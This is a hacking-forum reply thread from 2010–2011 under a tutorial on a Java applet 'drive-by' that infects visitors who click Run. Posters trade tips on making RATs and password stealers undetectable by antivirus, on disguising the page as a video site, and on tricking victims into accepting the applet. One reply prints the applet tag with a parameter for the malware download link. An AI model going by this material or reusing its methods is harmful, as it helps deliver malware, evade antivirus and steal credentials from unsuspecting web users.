I can, but I need bit time, cause I customized mine for the HP I used it in (Used a fun-vid site.. as long as you do not decide, it shows an loading screen, when you click "cancel" on the java prompt than the site shows an error in the vid-playing, "ok" shows the vid :))

btw, is there a way to come to this java prompt again, when you click on "refresh" or sth like that? when you click "cancel" and then refresh, nothing happenes...

Anonymous.7654 - July 12, 2010, 4:06 am

Please i need FUD this Java Applet,who can upload re FuD ?

BaNNED - July 12, 2010, 6:53 am

@r!pper

What tools you used ?

r1pper - July 12, 2010, 7:27 am

for what?

anybody a solutiion for a "wait" script in Java ?

need java to stay in a loop for about 1sec!

_ [THUNDER] _ - July 12, 2010, 1:26 pm

<http://www.urlvoid.com/scan/mapvgyl.tk>

my java applet is FUD, PM me to make ur FUD indexes only if u r L33T Or Ub3r, Ends Here.

People Are People - July 12, 2010, 1:56 pm

I need the FUD version =x

_ [THUNDER] _ - July 12, 2010, 10:58 pm

Nope, You need L33T, Not the FUD version

BaNNED - July 13, 2010, 3:32 pm

Finally FUD'd the JavaDriveBy .

(Jul 14, 2010 07:34 PM)spacemaker14 Wrote: [\[CITE\]](#) From what i have read, i think this way is dead in the new version of Java

it is not!

the only thing is, that the victim has to click on "accept", and if you let the rest around look legit, and give them a reason to click on this button, then they will do it!

Truth Hurts - July 15, 2010, 5:17 am

the only thing is, that the victim has to click on "accept", and if you let the rest around look legit, and give them a reason to click on this button, then they will do it!

actually, i take it back, this method HAS died, doesn't work, even if your file is FUD, java still thinks it's infected..and user's won't click on it...i've tried this in the past 20 minutes, and even dumbasses say it's a virus.

This method used to be THE best method, but clearly it's died now ?

r1pper - July 15, 2010, 6:04 am

that's not because of your server, but because of your *.jar and *.vbs file!.. mostly the *.vbs!!

my vbs file is 2/16, but banned got it somehow FUD.

I am on it.

the vbs downloads the server and executes it, that's the big problem!

Truth Hurts - July 16, 2010, 12:36 am

(Jul 15, 2010 06:04 AM)r1pper Wrote: [\[CITE\]](#) that's not because of your server, but because of your *.jar and *.vbs file!.. mostly the *.vbs!!

Oh ok, how do we fix this then? lol

r1pper - July 16, 2010, 4:54 am

ask BaNNED kindly for help, I did not get it FUD, yet..

but the vbs is the last thing.. everything else is fud!

h3h3y9 - July 22, 2010, 12:44 pm

thanks really nice guide ;)
with screens <3

HACK3R9 - July 23, 2010, 3:01 am

Nice tut mate! Will come in handy for sure :)

davidwp - July 23, 2010, 10:59 pm

Thank you so much for this AMAZING tutorial
its quick and easy but detailed XD i love it

Google.com - July 24, 2010, 12:09 pm

i get an error when i/other people test the java applet

rehan - July 24, 2010, 1:10 pm

works perfectly thankss.

But i have uploaded new pictures and cant see the new ones.Only old pictures slide there.

Plz help me. Tell me how to add new picture..

andrewhopps - July 24, 2010, 2:54 pm

i keep getting errors also.

Windows Script Host

Script: B:\Users****\AppData\Local\Temp\winconfig.vbs

Line: 12

Char: 1

Error: Write to file failed.

Code: 800A0BBC

Source: ADODB.Stream

Any ideas???

hack20100610 - August 1, 2010, 8:22 am

hi, guys,

I run this applet with Tomcat container and it didnt work for me,

the Client.class could not be loaded by index2.html,

I don't know what's wrong with it, do you have any ideas?

Sarajevo92 - August 1, 2010, 7:51 pm

Cheers, I love you. Helped so much. +1 virtualrep

Grrr...Trolls - August 2, 2010, 10:37 am

doesn't seem to work...

I uploaded the files + fud bin

copied link

pasted exactly where "your URL here" was (both spots)

saved

executed on self and it says failed to execute application or something....

My potentials also said the same thing... lol

blackbot2010 - August 3, 2010, 12:26 pm

i think it only works when the security settings of your victim browser is low enough.

Never got it running with my firefox in the latest version. With IE you have to lower the settings very much.

You can only get installs when your victims are lazy with installing actual updates of their browsers

inceptionx - August 3, 2010, 7:40 pm

can anyone explain what this error means?

```
"C:\users\john\appdata\local\temp\winconfig.vbs  
line: 20  
char: 1  
error: object required: 'shell"  
VBscript runtime error
```

alibaba5 - August 4, 2010, 5:59 pm

I have a question,...

I setup the java drive by, with a FUD istealer server.

But when i go to my driveby page, and get the java window with run etc etc,
I click run.

BUt the passwords are not showing at my istealerpage.

When i click my istealer server at my pc, i get the passes.

But i cant get it to work with the drive by page.

I used the javaDBgenerator V2.

ALso the driveby isnt detected by my virusscanner etc.

Does aomeone know what i have to do?

Thanks in advance!

M? B??ENT - August 5, 2010, 1:53 am

Dunno mate keep getting some Vb Error. Its Fucked.

VBscript runtime error
```

Oi, Bro i got the same error, i still have no idea wtf's wrong.

bumber - August 5, 2010, 11:14 am

I wonder if there is anywhere you can add in a faked security certificate so it atleast says its trusted from somewhere. Also when the popup comes up it says the applet is from fakename.fileave.com or whatever...not fakename.tk which kind of sucks.

another thing when people are getting the cant find filepath or whatever error when uploading, make sure you click files and then upload, not just upload where it says "HOME | FILES | UPLOAD | ACCOUNT | SETTINGS | UPGRADE | HELP "

Syberpro - August 10, 2010, 10:36 pm

avast detected it! haha

msgg 2 short

.s0uth - August 13, 2010, 12:05 pm

sexysam - August 13, 2010, 6:04 pm

I'll have to try this one ... interesting... thanks!!!

Noble - August 18, 2010, 2:56 pm

it dont work any more, it gets an error

TehManyFacedGod - August 19, 2010, 8:12 am

Wow... Leeches my tutorial or what?

Granted - August 19, 2010, 8:14 am

tyvm ill try it

to short

H4Z3Y - August 19, 2010, 1:06 pm

How can I make it so after they click run they go to a picture?

L?ght - August 19, 2010, 1:45 pm

Will try it with my stealer! ^^

Will give feedback after ;)

MetalBlade15 - August 19, 2010, 2:15 pm

Man that is simply brilliant!!?

H4Z3Y - August 19, 2010, 2:26 pm

Can I test it with sandboxie? And will it work with my cerberus RAT server?

fraudia - August 19, 2010, 4:33 pm

how to make it FUD form AVs ?

Chiko - August 19, 2010, 7:15 pm

WoW excellent job bro cheers

2Lame4You - August 19, 2010, 7:29 pm

Bedankt man, dit heeft voor mij gewerkt perfecte tut :)

Stifl3R - August 20, 2010, 6:27 am

KASPERSKY DETECT how make fud??

sexysam - August 25, 2010, 5:09 am

Come on guys encrypt your index & index2 and upload them crypted.
This method still works ;-)

@ H4Z3Y: Before encrypting your page, you can do the following in the index2.html

Just between </style> & <body> you can do 2 things.

1- Do a screenshot of a youtube page or whatever the subject you want to use to send people to your link and add the picture in your fileave folder and do like this below:

```
..  
  
background-color: black;  
}  
</style>  
  
<p>  
  
</p>  
  
<body>  
<br><br><br><br>  
<div id="box">  
<applet width='500' height='500' code='Client.class' archive='Client.jar'>  
  
..
```

2- Or you can also simply add a complete URL of a picture like this:

```
<p>  
  
</p>
```

Have fun now ;-)

The SYMBIOTE - August 25, 2010, 8:39 am

I cant get this to work and have tried a bunch of times. I get the loading screen but then it goes to a blank page and then nothing at all. No pop up and no infection. Ive tested it on xp and vista and i have n clue as to what im doing wrong.

LeetzorHaxorz - September 7, 2010, 6:57 pm

LOL, I just figured the best idea ever, instead of shrinkin it with .tk, shrink it with adf.ly!

So you make money, have a small url, and infect people with viruses! XD

Thanks for the 1/5 of a cent, and complete access of your computer :)

h3h3y9 - September 7, 2010, 6:59 pm

Still the best tutorial!

it helped me a lot when i was a beginner ;)

U MAD CUZ I RUN XBL? - September 7, 2010, 7:15 pm

(Aug 20, 2010 06:27 AM)sTIFL3R-SelleR Wrote: [\[CITE\]](#) KASPERSKY DETECT how make fud??

use a crypter to crypt it make sure its fud you can always pay someone to crypt it for you and it's gonna be fud longer.

FUD=fully un detected

purebarrage - September 8, 2010, 1:20 pm

it gives me an error when i test it on myself

alcapone15 - September 9, 2010, 4:30 am

thank you its working but how put picture in the java ?

Tiwoodsta - September 9, 2010, 7:33 pm

i dont think fileave.com works anymore

VeNoMz - September 9, 2010, 8:04 pm

it worked for me thanks. Great tut

Tiwoodsta - September 10, 2010, 10:04 am

how did it work for you???? WTF, im about to go fucking crazy.

The Real Kobe Bryant - September 10, 2010, 12:18 pm

All of these sites have an almost instant ban for doing this now!

hyhyhhrf3 - September 11, 2010, 6:40 pm

didnt java update this,how does this work for people

Danieldude - September 12, 2010, 5:35 pm

My nod32 said trojan downloader to the applet?

Dr. Dre - September 12, 2010, 5:55 pm

Great tut man. Thanks for this

M?ngo - September 12, 2010, 5:56 pm

Might try this when I get my rat working..

delta5 - September 13, 2010, 8:01 am

fileave not work again dude . .i prefer use t 3 5.com

o yea

one again .somebody can tell how to costumized javadriveby ?

?lu? - September 14, 2010, 1:36 am

So many people keep asking about the error that appears when you click run. It is a fake error. The file you have uploaded is run as soon as the person clicks run.

iLoveHack - September 14, 2010, 2:16 am

thanks this perfect topic and tut best one ! java drive good man

but the big problem they will see (examepl123.filefave.com lool !

demented13 - September 14, 2010, 12:48 pm

tried it, and tested it...it works..except for the fact my av keeps catching it(my server is fud)....anyone know a way to fix this. I can pm someone the link so they can see what I mean.

RaMp6 - September 14, 2010, 4:09 pm

doesn't work for me (local), get an VBS error @ line 21

nice88 - September 18, 2010, 3:50 pm

very nice post

thanks mate

G - September 18, 2010, 9:13 pm

is java drive by still alive lol

ThE-iNFILTrATOr - September 18, 2010, 10:40 pm

Nice tut mate i was looking for this

Zeh - September 20, 2010, 7:21 pm

Gives me a virus warning when i try to download the applet?

Maasie - September 20, 2010, 10:21 pm

Great tut! I got my own way but its encrypted =).

En Holland ftw =)

henkishere - September 21, 2010, 8:04 am

(Sep 20, 2010 10:21 PM)Maasie Wrote: [\[CITE\]](#) Great tut! I got my own way but its encrypted =).

En Holland ftw =)

How did you crypted? Because i get that stupid virus message to...

Hoe heb jij het gecrypt? Omdat ik ook die stomme virus melding krijg...

Perplexity - September 26, 2010, 9:05 am

It only works when I use it, it doesn't work for other people, I tried spreading it to someone and it didn't come up on my RAT.

Naww - September 30, 2010, 4:55 am

Is it possible to setup an Istealer whit this method, I mean infect my victim whit an Istealer? ?

Thanks for your attention.

Rukkas - September 30, 2010, 1:18 pm

Just a though, is it possible to configure this to run the server even if they click cancel?

Naww - September 30, 2010, 4:16 pm

Bumping this thread, I need some help here.?

Bold1 - October 2, 2010, 4:05 am

<https://hackforums.net/showthread.php?tid=714571>

Spartz - October 3, 2010, 3:14 am

Shit full of infections ... dont know what the hell is wrong with his scan but with rep like that and a 6/16 scan im not touching that shiit

RM9_Vandalism - October 4, 2010, 5:09 pm

<http://haloreachmodtool91.tk/>

go to mine its a funny batch file

Pooja. - October 6, 2010, 7:10 am

thanx to d tut saved 1\$ else i would hav givn to ny noob for dng for me :p

avidhacker - October 7, 2010, 10:42 am

this is the best java driveby tut..now even i can make my own..thanks

Kodak Black - October 8, 2010, 5:44 am

great tut, I uploaded to SPAM page instead of fileave though

(Oct 3, 2010 03:14 AM)Spartz Wrote: [\[CITE\]](#) Shit full of infections ... dont know what the hell is wrong with his scan but with rep like that and a 6/16 scan im not touching that shiit what's he gonna infect?? there's no exe, just HTML, don't click the run on the website and nothing can happen

AneXA - October 9, 2010, 3:12 am

Thanks for this,

Very helpful .If you do some modifications on your own it works even better.

hackbridges - October 9, 2010, 4:02 am

the java drive by is no longer FUD, find another source code and compile. I think there is a new FUD java source on the forum

showudway - October 9, 2010, 2:18 pm

Thanks,will use this sometime.

Itzah - October 14, 2010, 9:39 pm

GUYS MY AV (Avast) IS PICKING IT UP AS INFECTED!
I SUGGEST DO NOT DOWNLOAD!

Jaystar - October 14, 2010, 9:43 pm

I wouldn't say this is the BEST tutorial but it is still very good, and I thank you for posting it.

maybeDeToX - October 14, 2010, 9:49 pm

anyone wanna send me a team viewer session for setting this up? ill even pay you, PM ME! abd btw good tut iam just retarded..

moviemillionare666 - October 14, 2010, 10:05 pm

Thanks so much helped me out a bunch

WhiteLight - October 16, 2010, 6:54 am

Well whocares

KruelOxygen - October 24, 2010, 10:30 pm

mine isnt working... it says "Script: C: bla bla bla Line: 21 Char: 1 Error: The system cannot find the file specified. Code: 80070002 Source: (null)"

iMpLiCiT™ - October 24, 2010, 11:06 pm

This was very easy to follow. Thanks

johansch - October 26, 2010, 6:19 pm

Excellent tut, Ultimato! Very detailed and easy to understand from the way it is presented and explained. Thanks a lot.

Cognitive Decline - October 26, 2010, 6:31 pm

I'm not sure if the new Java drive by method was released when this was written, but this is the horrible method that requires you to hit run.

SlayerOf - October 26, 2010, 7:34 pm

(Oct 26, 2010 06:31 PM)BrainDamge Wrote: [\[CITE\]](#) I'm not sure if the new Java drive by method was released when this was written, but this is the horrible method that requires you to hit run.

Is there a tut for the new method?

mehim - October 27, 2010, 4:21 am

Wow thanks being looking for a good tut like this

pajoo - October 27, 2010, 2:55 pm

the client isnt fud anymore :(

devnull - October 27, 2010, 5:50 pm

Awsome! This helped me out alot! btw does anyone know where i can actually get a youtube one

SlayerOf - October 27, 2010, 8:34 pm

(Oct 27, 2010 05:50 PM)LollipopPrince Wrote: [\[CITE\]](#) Awsome! This helped me out alot! btw does anyone know where i can actually get a youtube one

There's a tut with an app called JavaDBgenerator.exe, you get a choice of 3 styles including youtube. I've had a look and haven't been able to find it.

but to help get your search started

<https://hackforums.net/search.php?action=results&sid=9387c77310bf911c087fda8936898b36&sortby=lastpost&order=desc>

when you see the webcan one, you probably won't want the youtube type

xHAV0kx - October 27, 2010, 8:40 pm

nice lol, this seems cool

Detektivbyrå - *October 28, 2010, 9:29 am*

It's patched so this method doesn't work anymore. Not for me atleast...

MoonWalker - *October 28, 2010, 9:36 am*

thanks for the tut mate.

This stil works?

etizolamvendor - *October 28, 2010, 4:54 pm*

Nice tut :) easier than most people other tuts uselike 4 different links :P

Detektivbyrå - *October 29, 2010, 2:54 am*

(Oct 28, 2010 04:54 PM)slashx24 Wrote: [\[CITE\]](#) Nice tut :) easier than most people other tuts uselike 4 different links :P

Do you get this to work??

ada? - *October 29, 2010, 6:48 am*

Perceverance - October 29, 2010, 10:05 pm

I dont understand this much but seems like a cool tutorial

Blackice - October 29, 2010, 10:22 pm

pm

With fileave that often happens. Search for Most Detailed Java Drive-by Hosting TuT(With pics) {No banned Method}. It includes info about another hosting site.

Twilightx143 - October 30, 2010, 1:40 am

Thanks!

Cool jij bent nederlands!!

saxyhotties - November 2, 2010, 7:57 pm

everything is nice and well explained. But the pictures are down, can u re-upload them? thanks

Amun-Ra - November 4, 2010, 8:04 pm

I suggest you re-upload your pics to imgur or something :P :D

Nice tut btw! :) Thanks for posting it!

apt-get money - November 5, 2010, 6:14 am

Thanks alot but,,this isnt FUD anymore :S

raamee - November 5, 2010, 7:07 am

Now please update the images. Tinypics are fucked up..

harsh_maurya - November 7, 2010, 11:59 pm

why the pictures are removed?. its hard to understand..

j.diesel - November 15, 2010, 12:55 pm

hey guys this methods still working??

i try but not work for me...i think that where i host the file (uploding.com) don't let download the file the the applet java ask...

any suggestion!?!?!?

or othe tut to follow to make it work 100%

pascal95 - November 21, 2010, 5:47 am

cool however antivir detects this

Budi - November 21, 2010, 9:54 am

The pictures are gone. Could you post some new?

TDWP - November 21, 2010, 10:57 am

thank you for the tut, very helpful.

0xebfe - November 29, 2010, 4:27 pm

Can the OP please update the topic, post the source code or something I cant do anything with this compiled jar except disassemble it a little, its not enough for me to make my own. I'll PM the author,

and I think you guys should too.

Xparn - November 29, 2010, 6:33 pm

The .jar file, is detected of ANTIVIR it says : "Java runner1447"

Nerdyloser - December 7, 2010, 3:43 pm

If you have made a JavaDriveby, does it show your "server" in the processes on the task manager?

Safari - December 8, 2010, 7:35 pm

can you re-upload the pictures again please?
thank you

Pitifoul - December 10, 2010, 12:36 pm

Avira detectit as a "Java/runner" :(

Sin|orD - December 11, 2010, 12:25 pm

picture are removed - unable to get the TuT

apples - December 11, 2010, 1:08 pm

Holy shit (sorry staff) This worked awesomely i tryed everything 99 VOUCHES!

Flohack - December 11, 2010, 3:13 pm

You are sure it's not a fake ?

iSmokeWeed - December 11, 2010, 3:27 pm

Since this guide is regularly used, I'd advise fixing up your pictures.

Also know that most Java drive by's aren't FUD anymore (Unless you have the new one).

CherokeeKid8 - December 11, 2010, 7:05 pm

Please update the pictures, its a big inconvenience.

Flohack - December 12, 2010, 4:52 am

Yes, could you update the pictures

Thank you,

Fire - December 26, 2010, 6:20 pm

Please update the pictures!
and a quick question: does java-driveby still work?

Calibur - December 26, 2010, 6:36 pm

does this one still works?

raamee - December 26, 2010, 6:55 pm

For god sake please dont use [censored].

Baruth - December 27, 2010, 10:13 am

geupp the pics pls [censored] is shit

thx

UniQ - December 29, 2010, 4:41 am

Re-upload the pictures on photobucket or something, tiny sucks!

Nate. - December 29, 2010, 5:46 am

WOW -20 rep this is legit NOT

Plutonium - December 29, 2010, 7:57 am

Big thanks for this very well written tutorial.

Death- - December 30, 2010, 4:48 am

Cool guide.. got it right even without the pics..Any idead on how i'm gonna make the slave run it?

DKZ MODZ - December 31, 2010, 7:24 am

OMG DUDE FIX PICS PLEASE I NEED TO DO THIS!

tasticz - December 31, 2010, 10:01 am

can u replace all images they r broken lol

Nate. - December 31, 2010, 10:10 am

wow -20 rep really, why do so many people have -rep?

velocityyy - January 6, 2011, 3:24 pm

fix the pictures please, i dont understand half of the tutorial without them lol :D

mofus - January 6, 2011, 3:42 pm

this java drive by tut is nice thx men :)

mp4playerz - January 6, 2011, 4:54 pm

Still works, cause I wanna use it ?

Rich Bitch - January 7, 2011, 8:29 pm

says i dont have premission to open index 2 please help

d4rkj4y - January 9, 2011, 1:29 am

Please reupload the images! Thanks!

African Hat - January 10, 2011, 9:58 am

-28 reputation, damn idk if i download:P

KKBG - January 10, 2011, 11:22 am

(Jan 9, 2011 02:29 AM)Moosha Wrote: [\[CITE\]](#) Please reupload the images! Thanks!

You dont really need it, but your right it makes it better to understand

Hackerz™ - January 10, 2011, 12:26 pm

it's work but it's dont fud. My AV detect "JAVA RUNNER"

Czarek580 - January 13, 2011, 4:22 am

ty this helped me very much good tut

Cryptic - January 13, 2011, 10:36 am

Woah all images are like 100% dead. This is useless now.

diggitydog41 - January 13, 2011, 2:39 pm

Hey can u upload another index2.html when i try to open the archive it says error[/align]

(Jan 7, 2011 09:29 PM)hatingonme Wrote: [\[CITE\]](#) says i dont have premission to open index 2
please help
ya i had the same problem...anyone mind posting the source code for it?

Und34d x4x r3nt - January 16, 2011, 2:17 pm

Sorry to necropost, but this looks like a really good tut. Except the images are gone. Is there a possibility of you updating them?

Thanks

SecSeal - January 16, 2011, 3:59 pm

how to change background image?

Permanent - January 16, 2011, 4:17 pm

Great TUT, havent tried it yet but the comments looks like it works.

mrfuzzley - January 16, 2011, 6:23 pm

Uhm, when I click run, a error pops up and sais it is illegal contant and will not run it.. not my antivirus I shut it off.

ryuji296 - January 16, 2011, 9:05 pm

PANDA AV doesn't block java...

Avira does... don't know about the others..

wertyl11 - January 16, 2011, 10:48 pm

my AVG detects this, and to bad the pictures are gone, you should fix it

Tarskay - January 17, 2011, 9:37 am

I dont have the index2 once i upload it?

ok2k3 - January 17, 2011, 11:12 am

good work :) java! :))

Methanity - January 17, 2011, 11:18 am

Damn, [censored] sucks deleting all pictures on Hackforums. Anyway, nice guide.

- Butterfly

Ni Haoz - January 22, 2011, 1:43 pm

Could you fix your pics so i can hack noobs pl0x?

Fire - January 23, 2011, 4:07 am

You are a LEGEND! thanks mate!

Cyber`SoLdier - January 23, 2011, 5:05 am

A nice tutorial, but all pics are deleted :S

marutza06 - January 29, 2011, 12:49 am

TO bad [censored] deleted all the pictures , still... it's a nice tutorial ;)

Politics - January 29, 2011, 2:29 am

Great tutorial even without the pictures.

jalal77 - January 29, 2011, 9:59 pm

I OPEN INDEX.HTML FILE ON MY PC THEN THERE SHOWING JAVA LOADING BUT THERE NOTHING OPTION WHICH ASK FOR RUN.HELP ME

Veldor - January 31, 2011, 10:24 am

Would be nice if you could update the pictures.

autorunman22 - February 4, 2011, 3:36 am

can someone point me where i can find the java drive by for noob cuz im totally know nothing about it, i dont even know how it works :(

Krysty - February 16, 2011, 6:31 pm

Do i need my server crypted first?

It's not letting me upload my files

Could not find a part of the path '\\192.168.0.16\users.fileave.com\Krysty\Client.jar'.

autorunman22 - February 16, 2011, 8:57 pm

Some might say it didn't work cause your target PC NEEDS to have JAVA INSTALLED. Goodluck SEing.

Cianeto - February 17, 2011, 2:40 pm

hi there.

i was hopping to use your drive by but it seems to be no longer undetected 'cuz when i was about to download it my av detect it as a malware.

my question now is if it still works when uploaded and if so will it be detected or not .

Thanks in advance.

-Kid- - February 19, 2011, 5:12 am

any staff member can upload the first page pics. it will be highly appreciated. ?

Fogest - February 20, 2011, 6:08 pm

Tested this out and it actually works. Is there anyway to make one with no thing coming up so they they don't even know at. Right now it's basically asking if you want to download a virus.

wtfpker - February 21, 2011, 9:08 am

error click for details any1 help please?

DannyCumalot - February 25, 2011, 4:55 am

My anti-virus detected multiple viruses after the download :\

thejavafreak - February 25, 2011, 6:07 am

(Feb 25, 2011 05:55 AM)DannyCumalot Wrote: [\[CITE\]](#) My anti-virus detected multiple viruses after the download :\

that's cause the virus you're using isn't FUD.

donrunzthis - February 25, 2011, 6:24 am

Find some new pictures please....

d0rk-Influence - February 25, 2011, 8:05 am

A few things I noticed right off the bat, You are missing every single image on this post and it gives new readers no chance to understand it.

Another thing is, why the hell would they download the java applet when it's a small code that anyone can enter into the index, they need to download the Client.Jar not the applet..

Infact I will just post the applet here.

I did not notice it that is why i'm posting it here by teh way.

```
Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
  <PARAM NAME = "AMLMAFOIEA" VALUE = "Virus Direct Link e.g bob.net46.net/bob/bob.exe">
</APPLET>
```

thejavafreak - February 25, 2011, 9:32 am

you don't need to download the client.jar , this is a java driveby, it's suppose is to spread a virus when people enter the site and accept java. so basicly you need a FUD r.a.t or something, then you can create a java driveby to infect people with.

On topic: I uploaded all files on fileave, how do I make the website direct link to the index2 ?

d0rk-Influence - February 25, 2011, 9:36 am

(Feb 25, 2011 10:32 AM)thejavafreak Wrote: [\[CITE\]](#) you don't need to download the client.jar , this is a java driveby, it's suppose is to spread a virus when people enter the site and accept java. so basicly you need a FUD r.a.t or something, then you can create a java driveby to infect people with.

On topic: I uploaded all files on fileave, how do I make the website direct link to the index2 ?
I am sorry but that is the most ridiculous thing I have ever read. "You don't need a client.jar this is a java driveby"

How do you think it infects the computer look at the bloody code for example...

```
Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
The java script uses the Client.Java in order to infect the remote computer giving you the effect of the java drive-by..
```

And if you were paying attention you would know you need to edit index2 with the direct virus url that you uploaded to "fileave" and then you open the regular index and it changes itself.. watch the url bar.

Sir you are going to be in my signature for one of the most beautifully fail replies I have ever seen.

thejavafreak - February 25, 2011, 9:41 am

(Feb 25, 2011 10:36 AM)d0rk-Influence Wrote: [\[CITE\]](#) I am sorry but that is the most ridiculous thing I have ever read. "You don't need a client.jar this is a java driveby"

Sir you are going to be in my signature for one of the most beautifully fail replies I have ever seen. Then please explain to me how the virus is going to work? linked to the client.jar that the person got downloaded to his computer?

edit: I do understand that it's the client.jar that you download, but how is this linked to the virus?

d0rk-Influence - February 25, 2011, 9:42 am

..LOL

The client.jar is the part of the process that DOWNLOADS the virus onto the remote victims computer.. It does not download itself onto their computer you imbecile.. If there was no client.jar there would only be a simple applet that did nothing..

Pokeballs - February 25, 2011, 9:44 am

When i try to upload the Client.jar i get a error, does anyone know why?

thejavafreak - February 25, 2011, 9:44 am

(Feb 25, 2011 10:42 AM)d0rk-Influence Wrote: [\[CITE\]](#) ..LOL

d0rk-Influence - February 25, 2011, 9:46 am

(Feb 25, 2011 10:44 AM)Pokeballs Wrote: [\[CITE\]](#) When i try to upload the Client.jar i get a error, does anyone know why?

What webhosting server are you trying to upload it to? and are you sure it's not a corrupted file? You might have broken the operation when you were extracting if you didn't let it finish and closed winrar or whatever you were extracting the file with.

gldnnuggets - February 25, 2011, 9:07 pm

Can someone re-upload the pictures please? I'm confused at Step #4. Where do you get the URL from?

ELMAKOABLE - March 1, 2011, 12:43 am

Im sure this works gr8!!

I just cant find a working keylogger which i could upload to this drive-by.)=

freak96 - March 1, 2011, 11:58 am

Is this driveby FUD? Anyone has a idea?

Giiiiig - March 2, 2011, 12:27 pm

workin perfect but single problem.Windows doe snot defaultly install Java when installed firs time. so most of victims does not have java and they have to download it

for applet to work. so is there any programs which includes java? coz if i know that for example installing "Photoshop" includes java i will know that people who has photoshop also has java. is any solution for that problem?

Ftp rater - March 5, 2011, 2:17 am

thank you verry much this helped me alot :)

iKyze - March 5, 2011, 2:52 am

Good tut, thanks alot man

ellinas_mateo - March 11, 2011, 10:03 pm

pictures aren't working anymore, I can't see my victims if I'm getting any at all. If I am how do I see what they type?

Karvalics - March 13, 2011, 3:59 pm

pls re-upload pictures:(cuz i cant see any

nohjer - March 16, 2011, 2:59 pm

y use tiny pic just gets deleted

moorekay - March 16, 2011, 4:07 pm

nice tut, keep up the good work

Must - March 17, 2011, 8:47 am

Great Tutorial,

But please re-upload the pictures.. And btw, is it still FUD?

Collision Theory - March 17, 2011, 9:47 am

You think you could upload the pictures, again.

93os11 - March 17, 2011, 10:10 am

Thanks needed this, good tutorial

wlcKeD. - March 17, 2011, 8:36 pm

leechd but ill still try out later, dont think this is still fud...

n4pl3style - March 18, 2011, 1:38 pm

tanks you for this tutorial ;)

Ui Hirasawa - March 18, 2011, 2:00 pm

Thanks for the tutorial, helped me a lot.

___R___ - March 18, 2011, 2:50 pm

hi

its a nice tut. My Avira and bitdefender, both are detecting jar file as virus. is there any way to make jar file FUD?

mathiou - March 18, 2011, 3:04 pm

thanks yo very much cc avira go

Mr.thinker - March 19, 2011, 4:15 am

Works Fine !!

Thanks Man ^^

Steezy2EZ - March 19, 2011, 5:56 pm

Just did it but whenever I go to my site, it says server connection reset. It works fine when my anti-virus is off though, so this is very detectable.

Haters Ganna Hate - March 19, 2011, 8:26 pm

please fix the pictures! it would help most of us alot! :D

Other than that, great job! :D

Hanna313 - March 20, 2011, 6:43 am

Thanks for sharing this nice tut!

nobody_85x - March 24, 2011, 9:40 am

great tut bro ... gonna try this soon :)

Raf Simons - March 24, 2011, 6:44 pm

[censored] killed your pictures. Use min.us

HackerAngel9 - March 27, 2011, 3:15 am

omg thanks a lot..I'm just a beginner but I'm already done with a java drive by...Thanks a LOT ! :)
btw is there anyway I can improvise on this technique ?

EVAN4FUN - April 2, 2011, 5:34 am

Looks good but i can t open the java applet!

Message: The url does not use a recognized protocol

Roadtrip - April 3, 2011, 3:06 am

u need a compiler, so add JDK to the list bro

The Dane - April 3, 2011, 5:39 am

Thaank you! :D But you need to update the pics :/

MarkMZ - April 3, 2011, 2:09 pm

Guys I tried this on Fileave and 2 of my accounts were suspended having my 2 important links broken.

Is there alternative to fileave to host the DriveBy ?

Syberpro - April 3, 2011, 2:10 pm

omg why people use [censored]!!

use imgur or lulzing

Pew - April 4, 2011, 8:56 am

okay everything worked out for a while
and now

i get this error :

[\[IMG\]http://img863.imageshack.us/img863/1589/errormf.png\[/IMG\]](http://img863.imageshack.us/img863/1589/errormf.png)

someone help me out?

Spoiler [\(Click to View\)](#)

tylr6024 - April 5, 2011, 11:08 pm

I did this and on my computer the pop-up that asks to download the java comes up, but I tested on another computer and it never pops up to ask if you want to accept the java thing. Any hints?

Stormcloud - April 7, 2011, 2:50 am

(Apr 4, 2011 08:56 AM)keylogpl0x Wrote: [\[CITE\]](#) okay everything worked out for a while

i get this error :

[\[IMG\]http://img863.imageshack.us/img863/1589/errormf.png\[/IMG\]](http://img863.imageshack.us/img863/1589/errormf.png)

someone help me out?

Spoiler [\(Click to View\)](#)

I get this aswell =\ anyone help?

Also index.html is not FUD

crimezy - April 7, 2011, 11:48 am

Antivirus gets it.. Could be because I tried first with a BAT?

detodo - April 8, 2011, 2:53 am

an refud version of this would be nice :3

afracrank - April 8, 2011, 9:14 am

hm i tried this and obviously even cheap virus system recognize the index 2 as a danger

any way to work around this?

Ninjakid - April 8, 2011, 8:59 pm

I need help any Java applet I download it gives me a file called client.class and all my friends say its not suppose to do that someone PM me a solution please thanks(:

My friend says that when you download it you will get client.Jar but for some reason I get client.class it makes no sense someone please help.

ngit01 - April 8, 2011, 9:20 pm

thanks for the tutorial mate.. :D

glk0gf - April 10, 2011, 5:11 pm

looks good will try it :P

OzTheGreat - April 10, 2011, 8:48 pm

where did the pictures go?

Stenography - April 11, 2011, 1:31 am

[censored] ?!

WHY MAN WHYY

lol u got -20 rep

123loaded - May 4, 2011, 7:35 pm

This is a good tutorial in general, and I respect how much time you did put into this at one point in time... but the broken [censored] links kill the tutorial man... Please replace pics when you can... Thx for the tut though!

lamaninja3012 - May 5, 2011, 6:22 am

bro can you reupload the picture again?

CRT - May 7, 2011, 9:37 pm

faggot nice virus

faggot nice virus

aaaaaa - May 10, 2011, 4:44 am

thanks for the post verry usefull tutorial 5 stars

deadlee - May 10, 2011, 4:51 am

only if the pictures worked :(

eucae - May 11, 2011, 4:32 pm

Hi can u please get the pictures working

FiftyCentAds - May 14, 2011, 9:56 pm

I have windows 7 on my main computer when I go to test the drive by on my windows xp on the other computer it just has a line and the pics but no drive by does the java driveby only work on 64 systems?

anyone help me out please

thanks

happy45 - May 16, 2011, 12:13 am

Very nice TuT, I will try this soon !! Thanks for sharing :0

d3d0h - May 16, 2011, 2:53 am

Fix Pics plz?? Upload to imageshack?

h4ckcode - May 16, 2011, 7:53 pm

oh good will be useful in future

screenbuster - May 17, 2011, 12:05 am

fileave will suspend our account..

whats the best replacement for this site

Please help me - May 18, 2011, 3:10 pm

I got alot of Qusetions?

?

What is a Tut?

What is this used for?

and uhh If some one could like me my buddy and teach me some stuff?

im new, I?? that would be great send me A PM!

?Roxas - May 23, 2011, 11:48 pm

^^^ LOL'd at "What is a Tut?"

cspear - May 28, 2011, 3:25 am

Nice man, i managed to get mine up ad going even though i couldnt see the pics. Very simple

????? - May 28, 2011, 4:58 am

First of all, none of the picture's work. Second of all, aren't all Java Drive-By's detected?

RussianFederation - May 28, 2011, 5:17 am

